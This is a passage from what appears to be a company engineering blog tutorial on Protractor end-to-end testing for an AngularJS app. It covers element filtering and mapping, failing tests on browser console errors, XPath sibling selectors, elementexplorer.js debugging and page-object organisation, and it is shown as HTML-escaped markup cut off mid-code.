strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Select all date elements and apply filter function&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.dates_selector&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;elem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Return the element or elements&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; elem&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Match the text&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; text &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; tileText&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;filteredElements&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//filteredElements is the list of filtered elements&lt;/span&gt; filteredElements&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Now to click on date 17, simply call the function as :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;clickDateByText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;each&lt;/code&gt; : Use it when the same action has to be taken for all elements having common selector. For example : clearing the list of input fields in a Signup form.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;form&gt;input&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;inputs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;map&lt;/code&gt; : Mapping a collection of elements in an array without use of protractor &lt;code class=&quot;language-text&quot;&gt;map&lt;/code&gt; function involves a lot of code to deal with all the proimises one by one. On the contrary, using map function for the same purpose is a piece of cake. Map function iterates through each element found with the locator and then resolves all the promises to return a promise with an array of values. For example : To get the text of all elements (with ng-repeat = &apos;option in Options&apos;) in an array, write the code as :&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; optionTexts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;repeater&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;option in Options&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;Options&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; optionTexts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;tips-and-tricks&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#tips-and-tricks&quot; aria-label=&quot;tips and tricks permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Tips and tricks&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Manage Browser logs: There will always be certain scenarios which would not be covered in e2e scripts. Therefore, it is a smart move to always check browser console errors for any unexpected issue in the app. The following piece of code allows you to keep a check at browser logs and fails the test cases if there are any errors :&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;afterEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;manage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;logs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;browser&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;browserLog&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browserLog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browserLog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;log: &apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;browserLog&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;Combine element statements to move around the dom : Xpath provides an excellent way to move up and down the dom.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// use &apos;..&apos; to select parent of an element&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;input&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;xpath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;..&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Resulting element will be the parent of input&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// use &apos;following-sibling&apos; to select the sibling&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;input&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;xpath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;following-sibling::span&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Common UseCase: Error messages are often displayed as a sibling to input or submit types. Therefore, instead of using a different selector path for error message, xpath can be used to pick the sibling.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2015/02/4.png&quot;&gt; &lt;/div&gt; &lt;p&gt;To verify the error message &quot;invalid URL&quot;, simply write the assertion as:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Url&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendkeys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;ele&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ele&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;xpath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;following-sibling::span&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Invalid URL&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;Never use protractor element statements inside loop: The simple reason is that the webdriverJS (protractor) API is asynchronous. Element statements returns a promise and that promise is in unresolved state while the code below the statements continues to execute. This leads to unpredictable results. Hence, it is advisable to use recursive functions instead of loops.&lt;/li&gt; &lt;li&gt;Debug the tests using elementexplorer.js: elementexplorer.js lets you test the page interactively. You will find this JS file in node_modules/protractor/bin directory. Start the selenium server and run command:&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;node elementexplorer https://app.vwo.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Browser will load the URL and you will see &gt; prompt. Use browser, element and protractor variables to interact with page.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Make sure that the developer tools are closed while running commands in elementexplorer.js prompt, otherwise you will face an unexpected error as &lt;strong&gt;&quot;TypeError: Cannot read property &apos;click&apos; of null&quot;&lt;/strong&gt;&lt;/p&gt; &lt;h3 id=&quot;maintaining-and-reusing-test-cases&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#maintaining-and-reusing-test-cases&quot; aria-label=&quot;maintaining and reusing test cases permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Maintaining and reusing test cases&lt;/h3&gt; &lt;p&gt;Let&apos;s admit it, e2e test cases are not easy to be maintained and updated. You have to organize the tests in a way that they can be edited easily. Let&apos;s have a glance at Page-Objects, common-files and tests approach that we follow at Wingify, using nodeJS &lt;code class=&quot;language-text&quot;&gt;require&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;exports&lt;/code&gt; functions.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2015/02/5.png&quot;&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;page-objects&lt;/strong&gt;: Page-objects is a commonly used practice across the industry while writing e2e tests. It enables you to write clean tests by listing all the information about the elements in a page-object file. This means that you only need to change the page object file, in case of any change in template of app.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Our Application has more than 50 screens. Therefore we list all the page-objects i.e. dom elements of each screen in a seprate JS file. Take a look at login screen page-object file :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/*File Name : loginPage.js*/&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;loginPage&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;username&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;password &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token 